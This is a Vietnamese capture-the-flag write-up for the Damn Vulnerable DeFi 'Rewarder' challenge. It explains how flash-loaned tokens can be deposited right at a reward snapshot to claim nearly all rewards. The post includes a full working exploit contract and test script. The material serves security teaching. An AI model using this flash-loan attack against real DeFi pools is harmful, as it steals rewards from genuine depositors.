Skip to content

Damn Vulnerable Defi writeups: 05 - The Rewarder

Posted on:March 14, 2022

Challenge #5 - The rewarder

Nhiệm vụ: Có một pool cứ mỗi 5 ngày lại trả thưởng một lần cho những ai deposit vào pool DVT. Alice, Bob, Charle và David đã deposit DVT của họ vào trong pool, và bắt đầu nhận được những phần thưởng. Nhưng trong tay ta đang không có đồng DVT nào. Nhưng ta vẫn muốn không làm mà vẫn có ăn, mà không những thế lại còn ăn rất nhiều, ăn gần như hết tất cả phần thưởng. Liệu điều này có khả thi?

Phân tích

Loaner pool cho phép thực hiện flash loan có 1M token DVT trong đó:

function flashLoan(uint256 amount) external nonReentrant {
    uint256 balanceBefore = liquidityToken.balanceOf(address(this));
    require(amount <= balanceBefore, "Not enough token balance");

    require(msg.sender.isContract(), "Borrower must be a deployed contract");

    liquidityToken.transfer(msg.sender, amount);

    msg.sender.functionCall(
        abi.encodeWithSignature(
            "receiveFlashLoan(uint256)",
            amount
        )
    );

    require(liquidityToken.balanceOf(address(this)) >= balanceBefore, "Flash loan not paid back");
}

Ta sẽ đi qua một chút logic trong Reward pool:

uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;
function isNewRewardsRound() public view returns (bool) {
    return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
}

function _recordSnapshot() private {
    lastSnapshotIdForRewards = accToken.snapshot();
    lastRecordedSnapshotTimestamp = block.timestamp;
    roundNumber++;
}
uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);

Do đó ta có chiến lược khai thác như sau:

Exploit

Chuẩn bị contract khai thác:

contract RektRewarder {
    FlashLoanerPool public immutable loanerPool;
    TheRewarderPool public immutable rewarderPool;
    DamnValuableToken public immutable liquiToken;
    RewardToken public immutable rewardToken;

    constructor(
        address _loaner,
        address _rewarder,
        address _liquiToken,
        address _rewardToken
    ) {
        loanerPool = FlashLoanerPool(_loaner);
        rewarderPool = TheRewarderPool(_rewarder);
        liquiToken = DamnValuableToken(_liquiToken);
        rewardToken = RewardToken(_rewardToken);
    }

    function rekt() external {
        loanerPool.flashLoan(1000000 ether);
    }

    function receiveFlashLoan(uint256 amount) external {
        liquiToken.approve(address(rewarderPool), type(uint256).max);
        rewarderPool.deposit(amount);
        rewardToken.transfer(tx.origin, rewardToken.balanceOf(address(this)));
        rewarderPool.withdraw(amount);
        liquiToken.transfer(address(loanerPool), amount);
    }
}

Tiến hành khai thác:

it("Exploit", async function () {
  /** CODE YOUR EXPLOIT HERE */
  const RektRewarder = await ethers.getContractFactory(
    "RektRewarder",
    attacker
  );
  this.rekt = await RektRewarder.deploy(
    this.flashLoanPool.address,
    this.rewarderPool.address,
    this.liquidityToken.address,
    this.rewardToken.address
  );
  await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
  await this.rekt.connect(attacker).rekt();
});

Check lại kết quả

[Challenge] The rewarder
Exploit (144ms)


1 passing (2s)

All done!